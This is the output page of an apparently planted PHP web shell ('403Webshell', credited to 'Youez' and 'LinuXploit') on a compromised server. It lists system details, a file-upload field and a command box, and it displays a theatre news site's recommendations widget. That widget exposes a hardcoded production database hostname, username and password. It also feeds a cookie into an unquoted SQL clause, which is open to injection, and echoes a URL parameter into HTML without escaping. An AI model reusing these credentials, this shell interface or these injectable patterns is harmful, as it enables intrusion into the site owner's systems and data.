403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.143
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/archive/recommendednew2023.php
<?php 
// Start output buffering for better performance
ob_start();

// Set cache headers
header('Cache-Control: public, max-age=300'); // 5 minutes for dynamic content
header('Vary: Cookie');

$time_start = microtime(true); 

// Use persistent connection for better performance with timeout options
$link = mysqli_init();
mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 5);
mysqli_options($link, MYSQLI_OPT_READ_TIMEOUT, 10);
mysqli_real_connect($link, 'p:amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com', 'admin', 'xxatN6Lb8Kbwb9MiU1At', 'amazonrds');
// Detect stale persistent connections - reconnect if the server closed it
if (!mysqli_ping($link)) {
	mysqli_close($link);
	$link = mysqli_init();
	mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 5);
	mysqli_options($link, MYSQLI_OPT_READ_TIMEOUT, 10);
	mysqli_real_connect($link, 'amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com', 'admin', 'xxatN6Lb8Kbwb9MiU1At', 'amazonrds');
}
$GLOBALS["___mysqli_ston"] = $link;

if(isset($_REQUEST['threader']))
{
	// Use separate lightweight connection for tracking to avoid blocking main query
	$trackLink = mysqli_init();
	mysqli_options($trackLink, MYSQLI_OPT_CONNECT_TIMEOUT, 1);
	mysqli_real_connect($trackLink, 'p:amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com', 'admin', 'xxatN6Lb8Kbwb9MiU1At', 'amazonrds');
	$sql = "INSERT DELAYED INTO bway_bww.wbtrack (photoid) VALUES (" . intval($_REQUEST['thread']) . ")";
	mysqli_query($trackLink, $sql);
	mysqli_close($trackLink);
} 

else if(isset($_REQUEST['colid']) && (isset($_REQUEST['sourcevar']) && $_REQUEST['sourcevar'] != '' && ($_REQUEST['colid']>2058774)))
{
	$today = date("Y-m-d");

}
?>
<html><head><link rel="preconnect" href="https://cloudimages.broadwayworld.com">
<link rel="dns-prefetch" href="https://cloudimages.broadwayworld.com"><meta name="googlebot" content="noindex,indexifembedded" />
<title>Recommended for You</title>

<?php
if(isset($_GET['new'])) { // check if "new" parameter exists in the URL
    // if "new" parameter exists, use this CSS
    echo '<link href="https://cloudimages.broadwayworld.com/bworld1523/assets/css/style44min.css" rel="stylesheet">
<Style type="text/css">@charset UTF-8;body{
    font-family: "Poppins"!important;
    font-weight: normal;
    font-style: normal;
};margin:0;padding:0;background:#ffffff;font-display:auto;}a{margin:0;margin-left:10px;margin:10px 0 10px;font-size: 15px;line-height:18px;letter-spacing: -.4px;color:#313131;text-decoration:none;}img{max-width:100%;height:auto};a:hover{color:#b20223}.cp{float:left;padding-right:10px;height: 100px;width:100px;margin-bottom:10px;}a, button {
    color: #222222;    font-size: 15px;
    font-weight: normal;
    line-height: 22px;
    margin-top: 10px;
    color: #222222;
    outline: medium none;
}</style></head><body style="margin-top:-5px;"><Div style="width:100%;margin:0px;height:460px;">';
} else {
    // if "new" parameter does not exist, use this CSS
    echo '<Style type="text/css">@charset UTF-8;body{font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji" !important;margin:0;padding:0;background:#ffffff;font-display:auto;}a{margin:0;margin-left:10px;margin:10px 0 10px;font-weight:600;font-size: 15px;line-height:18px;letter-spacing: -.4px;color:#313131;text-decoration:none;}img{max-width:100%;height:auto};a:hover{color:#b20223}.cp{float:left;padding-right:10px;height: 100px;width:100px;margin-bottom:10px;}</style></head><body><Div style="width:100%;height:460px;">';
}
?>

<?php
if(isset($_GET['black'])) {?>
<Style type="text/css">
	body a {
    color: #fff;

}
body {background-color:#000;}
</Style>
	
<?php }?>

<?php

/** queries an sql statement and returns a record **/
if (!function_exists('q')) {
function q($query,$link)
{
	$result=mysqli_query( $link, $query);
        if($result AND mysqli_num_rows($result)>0)
        {
                // collect query results
                $out = array();
                while($row = mysqli_fetch_assoc($result))
                {
                	$out[] = $row;
                }
                return $out;
        }
	return NULL;
}
}

$reginc=0;


if(isset($_COOKIE["REGION2023"]) && isset($_COOKIE["REGIONDIR"]) && isset($_COOKIE["REGNAME"]) ){ 
	$reginc = $_COOKIE["REGION2023"];
} else { 

// If Cloudflare didn't set HTTP_CF_IPCOUNTRY, default to 'US'.
$country = $_SERVER['HTTP_CF_IPCOUNTRY'] ?? 'US';

switch ($country)
{
    case 'GB': $reginc = 4; break;
    case 'UK': $reginc = 4; break;
    case 'FR': $reginc = 149; break;
    case 'NZ': $reginc = 3; break;
    case 'CN': $reginc = 66; break;
    case 'JP': $reginc = 67; break;
    case 'DE': $reginc = 68; break;
    case 'KR': $reginc = 94; break;
    case 'PH': $reginc = 120; break;
    case 'ES': $reginc = 146; break;
    case 'NL': $reginc = 147; break;
    case 'IT': $reginc = 148; break;
    case 'BR': $reginc = 150; break;
    case 'AR': $reginc = 151; break;
    case 'MX': $reginc = 152; break;
    case 'IN': $reginc = 153; break;
    case 'IE': $reginc = 154; break;
    case 'IL': $reginc = 156; break;
    case 'ZA': $reginc = 157; break;
    case 'BE': $reginc = 158; break;
    case 'CH': $reginc = 159; break;
    case 'CZ': $reginc = 160; break;
    case 'PL': $reginc = 161; break;
    case 'SE': $reginc = 162; break;
    case 'HU': $reginc = 163; break;
    case 'TR': $reginc = 164; break;
    case 'NO': $reginc = 165; break;
    case 'AT': $reginc = 166; break;
    case 'RU': $reginc = 167; break;
    case 'MY': $reginc = 168; break;
    case 'ID': $reginc = 169; break;
    case 'FI': $reginc = 170; break;
    case 'MC': $reginc = 187; break;
    case 'LU': $reginc = 188; break;
    case 'SG': $reginc = 196; break;
    case 'PT': $reginc = 316; break;
    case 'CO': $reginc = 317; break;
    case 'VE': $reginc = 318; break;
    case 'PE': $reginc = 319; break;
    case 'CU': $reginc = 320; break;
    case 'EG': $reginc = 321; break;
    case 'QA': $reginc = 322; break;
    case 'HK': $reginc = 336; break;
    case 'DK': $reginc = 338; break;
    case 'GR': $reginc = 339; break;
    case 'IS': $reginc = 340; break;
    case 'PA': $reginc = 341; break;
    case 'EE': $reginc = 346; break;
    case 'BG': $reginc = 347; break;
    case 'CY': $reginc = 348; break;
    case 'BM': $reginc = 349; break;
    case 'MT': $reginc = 350; break;
    
    // Added this case for US visitors:
    case 'US': 
        $reginc = 1;  // <-- Adjust this value as needed
        break;
    
    // Optional fallback if some other country code isn't in the list:
    default:
        $reginc = 0; // or whatever default you want
        break;
}


if($reginc==0)
{
	// get user IP address
	function get_client_ip() {
	    $ipaddress = '';
	    if (getenv('HTTP_CLIENT_IP'))
	        $ipaddress = getenv('HTTP_CLIENT_IP');
	    else if(getenv('HTTP_X_FORWARDED_FOR'))
	        $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
	    else if(getenv('HTTP_X_FORWARDED'))
	        $ipaddress = getenv('HTTP_X_FORWARDED');
	    else if(getenv('HTTP_FORWARDED_FOR'))
	        $ipaddress = getenv('HTTP_FORWARDED_FOR');
	    else if(getenv('HTTP_FORWARDED'))
	       $ipaddress = getenv('HTTP_FORWARDED');
	    else if(getenv('REMOTE_ADDR'))
	        $ipaddress = getenv('REMOTE_ADDR');
	    else
	        $ipaddress = '127.0.0.1'; // Default to localhost instead of 'UNKNOWN'
	    
	    // Handle comma-separated IPs (from proxies) by taking the first one
	    if (strpos($ipaddress, ',') !== false) {
	        $ipaddress = trim(explode(',', $ipaddress)[0]);
	    }
	    
	    return $ipaddress;
	}
	
	// Helper functions for IP geolocation
	function isIPv6($ip) {
		if ($ip == "" || $ip == "UNKNOWN") {
			return 0;
		}
		// Use filter_var for proper IP validation
		if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
			return 1;
		} elseif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
			return 0;
		} else {
			// Fallback to string-based detection for malformed IPs
			if(strpos($ip, ":") !== false) {
				return 1;
			} else {
				return 0;
			}
		}
	}
	
	// Convert IPV4 to ip2location database integer
	function IPV4toInteger ($IPaddr) {
		if ($IPaddr == "" || !filter_var($IPaddr, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
			return 0;
		}
		else {
			$ips = explode(".", "$IPaddr");
			// Check if we have exactly 4 parts and all are numeric
			if (count($ips) != 4) {
				return 0;
			}
			// Validate each octet is numeric and within valid range
			foreach ($ips as $octet) {
				if (!is_numeric($octet) || $octet < 0 || $octet > 255) {
					return 0;
				}
			}
			return (intval($ips[3]) + intval($ips[2]) * 256 + intval($ips[1]) * 256 * 256 + intval($ips[0]) * 256 * 256 * 256);
		}
	}
	
	// Convert IPV6 to ip2location database integer
	function IPV6ToInteger($ipv6) {
		if ($ipv6 == "" || !filter_var($ipv6, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
			return 0;
		}
		$packed = inet_pton($ipv6);
		if ($packed === false) {
			return 0;
		}
		
		// Try GMP first (if available)
		if (function_exists('gmp_import')) {
			return (string) gmp_import($packed);
		}
		
		// Fallback to BCMath (if available)
		if (function_exists('bcmul') && function_exists('bcadd')) {
			$unpacked = unpack('C*', $packed);
			if ($unpacked === false) {
				return 0;
			}
			$result = '0';
			foreach ($unpacked as $byte) {
				$result = bcmul($result, '256');
				$result = bcadd($result, (string)$byte);
			}
			return $result;
		}
		
		// Final fallback: Use hex string format that MySQL can handle
		// MySQL can compare hex strings when used in numeric context
		// Format: CONV(hex_string, 16, 10) or use 0x prefix
		// For the query, we'll use the hex format which MySQL can convert
		return '0x' . bin2hex($packed);
	}
	
	// Function to perform IP lookup - optimized to remove nested subqueries
	function performIPLookup($clientIp, $link) {
		if(isIPv6($clientIp)){
			$ip = IPV6ToInteger($clientIp);
			// Check if result is hex string (starts with 0x) - means GMP/BCMath not available
			if (is_string($ip) && substr($ip, 0, 2) === '0x') {
				// Use MySQL CONV function to convert hex to decimal for comparison
				$hexValue = mysqli_real_escape_string($link, substr($ip, 2)); // Remove 0x prefix
				// Optimized: Select only needed columns instead of SELECT *
				$query="SELECT region_id as regid, region_dir as regdir, region_name as regname 
				        FROM bway_bwdb.ip2locationipv6 
				        WHERE ipv61 <= CONV('".$hexValue."', 16, 10)
				        AND ipv62 >= CONV('".$hexValue."', 16, 10)
				        LIMIT 1";
			} else {
				// Normal numeric comparison (GMP or BCMath was available)
				// Optimized: Select only needed columns instead of SELECT *
				$query="SELECT region_id as regid, region_dir as regdir, region_name as regname 
				        FROM bway_bwdb.ip2locationipv6 
				        WHERE ipv61 <= ".mysqli_real_escape_string($link, $ip)."
				        AND ipv62 >= ".mysqli_real_escape_string($link, $ip)."
				        LIMIT 1";
			}
		} else {
			$ip = IPV4toInteger($clientIp);
			// Optimized: Select only needed columns instead of SELECT *
			$query="SELECT region_id as regid, region_dir as regdir, region_name as regname 
			        FROM bway_bwdb.ip2locationipv4 
			        WHERE ipv41 <= ".mysqli_real_escape_string($link, $ip)."
			        AND ipv42 >= ".mysqli_real_escape_string($link, $ip)."
			        LIMIT 1";
		}
		
		$result=mysqli_query( $link, $query);
		return mysqli_fetch_assoc($result);
	}
	
	// Cache IP geolocation lookup in APCu shared memory (24h TTL)
	$clientIp = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? get_client_ip();
	$ipCacheKey = 'ip_geo_' . md5($clientIp);

	$getcolumn = apcu_fetch($ipCacheKey, $hit);
	if (!$hit) {
		$getcolumn = performIPLookup($clientIp, $link);
		if ($getcolumn !== false && $getcolumn !== null) {
			apcu_store($ipCacheKey, $getcolumn, 86400);
		}
	}

	if(isset($getcolumn['regid']) && $getcolumn['regid']!='')
{ 
	$reginc=$getcolumn['regid']; 
	setcookie("REGION2023", $reginc, time()+32*24*60*60, "/", ".broadwayworld.com"); 
    setcookie("REGIONDIR", $getcolumn['regdir'], time()+32*24*60*60, "/", ".broadwayworld.com"); 
    setcookie("REGNAME", $getcolumn['regname'], time()+32*24*60*60, "/", ".broadwayworld.com"); 

} else { 
	$reginc=1; 
	setcookie("REGION2023", 1, time()+32*24*60*60, "/", ".broadwayworld.com"); 
}


} // end if($reginc==0)
}

mysqli_set_charset($link, "utf8");
if($reginc==324 ) 
 {$reginc=1;
 }
?>


<?php
 
// ✅ A/B Test Randomizer for sort method - cache variant per user session
if(isset($_COOKIE["ABTEST2023"])) {
    $abTestVariant = (int)$_COOKIE["ABTEST2023"];
} else {
    $abTestVariant = rand(1,2);
    setcookie("ABTEST2023", $abTestVariant, time()+86400, "/", ".broadwayworld.com");
}
if ($abTestVariant === 1) {
    $sortMethod = "views DESC";
    $abTestName = "views_based";
} else {
    $sortMethod = "r.dateposted DESC";
    $abTestName = "date_based";
}

// ✅ Date filter logic - pre-calculate date cutoff to avoid DATE_SUB in query
$dateInterval = ($reginc < 4) ? 7 : 10;
$dateCutoff = date('Y-m-d H:i:s', strtotime("-$dateInterval days"));
$dateCutoffEscaped = mysqli_real_escape_string($link, $dateCutoff);
$regincEscaped = (int)$reginc;

if(isset($_COOKIE["MYARTICLES20228"])) 
{
    // Optimized cookie handling - quick length check
    $myArticlesCookie = $_COOKIE["MYARTICLES20228"];
    if(strlen($myArticlesCookie) > 3000)
    {
        setcookie("MYARTICLES20228", "", time()-3600, "/", ".broadwayworld.com"); 
        setcookie("MYINTERESTS20228", "", time()-3600, "/", ".broadwayworld.com");
        $myArticlesCookie = "";
    }
    $myArticlesEscaped = mysqli_real_escape_string($link, $myArticlesCookie);
 
	if ($abTestVariant === 1) {
		// Variant 1: Views-based sorting - use subquery instead of JOIN
		$query="SELECT DISTINCT r.colid, r.title, r.regionid, r.dirname, r.seo_friendly, r.mainswapbig, r.mainswap100,
		               (SELECT Views FROM bway_bww.columnstats WHERE id = r.colid LIMIT 1) as views
		        FROM amazonrds.recommendationengine r
		        WHERE r.regionid = ".$regincEscaped."
		        AND r.dateposted >= '".$dateCutoffEscaped."'
		        AND r.colid NOT IN (".$myArticlesEscaped.")
		        ORDER BY views DESC
		        LIMIT 6";
	} else {
		// Variant 2: Date-based sorting - no need for columnstats at all
		$query="SELECT DISTINCT r.colid, r.title, r.regionid, r.dirname, r.seo_friendly, r.mainswapbig, r.mainswap100
		        FROM amazonrds.recommendationengine r
		        WHERE r.regionid = ".$regincEscaped."
		        AND r.dateposted >= '".$dateCutoffEscaped."'
		        AND r.colid NOT IN (".$myArticlesEscaped.")
		        ORDER BY r.dateposted DESC
		        LIMIT 6";
	}

	// Cache recommendation results in APCu (1h TTL)
	$cacheKey = 'rec_q_' . md5($query);
	$rows = apcu_fetch($cacheKey, $hit);
	if (!$hit) {
		$rows = q($query, $link);
		apcu_store($cacheKey, $rows, 3600);
	}

} else {

	if ($abTestVariant === 1) {
		// Variant 1: Views-based sorting - use subquery instead of JOIN
		$query="SELECT r.colid, r.title, r.regionid, r.dirname, r.seo_friendly, r.mainswapbig, r.mainswap100,
		               (SELECT Views FROM bway_bww.columnstats WHERE id = r.colid LIMIT 1) as views
		        FROM recommendationengine r
		        WHERE r.colid > 2380000
		        AND r.regionid = ".$regincEscaped."
		        AND r.dateposted >= '".$dateCutoffEscaped."'
		        ORDER BY views DESC
		        LIMIT 4";
	} else {
		// Variant 2: Date-based sorting - no need for columnstats at all
		$query="SELECT r.colid, r.title, r.regionid, r.dirname, r.seo_friendly, r.mainswapbig, r.mainswap100
		        FROM recommendationengine r
		        WHERE r.colid > 2380000
		        AND r.regionid = ".$regincEscaped."
		        AND r.dateposted >= '".$dateCutoffEscaped."'
		        ORDER BY r.dateposted DESC
		        LIMIT 4";
	}

	// Cache recommendation results in APCu (1h TTL)
	$cacheKey = 'rec_q_' . md5($query);
	$rows = apcu_fetch($cacheKey, $hit);
	if (!$hit) {
		$rows = q($query, $link);
		apcu_store($cacheKey, $rows, 3600);
	}
}


if (is_array($rows) || is_object($rows))
{
foreach($rows as $row)
{
	echo '<div style="display:block;height:110px;width:100%;word-break: break-word;overflow:hidden;">';
	echo '<h4><a target="_top" style="word-break: break-word;" href="https://www.broadwayworld.com/';
if ($row['dirname'] != '') {
    echo $row['dirname'] . '/';
}
echo 'article/' . $row['seo_friendly'] . '" 
    onclick="trackArticleClick(\'' . $abTestName . '\', \'' . $abTestVariant . '\', \'' . htmlspecialchars($sortMethod, ENT_QUOTES) . '\', \'' . $row['colid'] . '\', \'' . $row['colid'] . '\')">';
    
    // Optimize image loading with WebP format and proper srcset
	$imgSmall = str_replace('cloudimages.broadwayworld.com', 'cloudimages2.broadwayworld.com', $row['mainswapbig']);
	$imgBig = str_replace('cloudimages.broadwayworld.com', 'cloudimages2.broadwayworld.com', $row['mainswapbig']);
	$titleEscaped = htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8');
	
	echo '<img loading="lazy" decoding="async" style="width:100px;height:100px;" width="100" height="100" src="' . htmlspecialchars($imgSmall . '?format=auto&width=100&quality=80', ENT_QUOTES) . '" srcset="' . htmlspecialchars($imgBig . '?format=auto&width=200&quality=80', ENT_QUOTES) . ' 2x" alt="' . $titleEscaped . '" class="cp"/>';
	echo $row['title']; 
	echo '</a></h4></div>';    
}}
?>
<?php if($reginc!=1 && $reginc!=4 && isset($_GET["dirname"]) && $_GET["dirname"]!='') { ?>
<small><a href="https://www.broadwayworld.com/<?php if($_GET["dirname"]!=''){?><?php echo $_GET["dirname"]; echo '/';}?>" target="_top">View More Local News</a></small><p>	
<?php }?><? mysqli_close($link); 

// Clean up old cookies at the end (non-blocking)
if (isset($_COOKIE['MYARTICLES2020'])) {
    setcookie('MYARTICLES2020', null, -1, '/'); 
} 
if (isset($_COOKIE['MYARTICLES20221'])) {
    setcookie('MYARTICLES20221', null, -1, '/'); 
} 
if (isset($_COOKIE['MYARTICLES2021'])) {
    setcookie('MYARTICLES2021', null, -1, '/'); 
}

// Flush output buffer
ob_end_flush();
?></body></html>

<script>
function trackArticleClick(abTestName, abTestVariant, sortMethod, articleId, articleTitle) {
    var url = '/track_rf.cfm?abTestName=' + encodeURIComponent(abTestName) + 
              '&abTestVariant=' + encodeURIComponent(abTestVariant) + 
              '&sortMethod=' + encodeURIComponent(sortMethod) +
              '&articleId=' + encodeURIComponent(articleId) +
              '&articleTitle=' + encodeURIComponent(articleId);
    
    // Use sendBeacon for better performance (non-blocking, works even after page unload)
    if (navigator.sendBeacon) {
        navigator.sendBeacon(url);
    } else {
        // Fallback to fetch with keepalive
        fetch(url, { method: 'GET', keepalive: true }).catch(function() {});
    }
}
</script>









Youez - 2016 - github.com/yon3zu
LinuXploit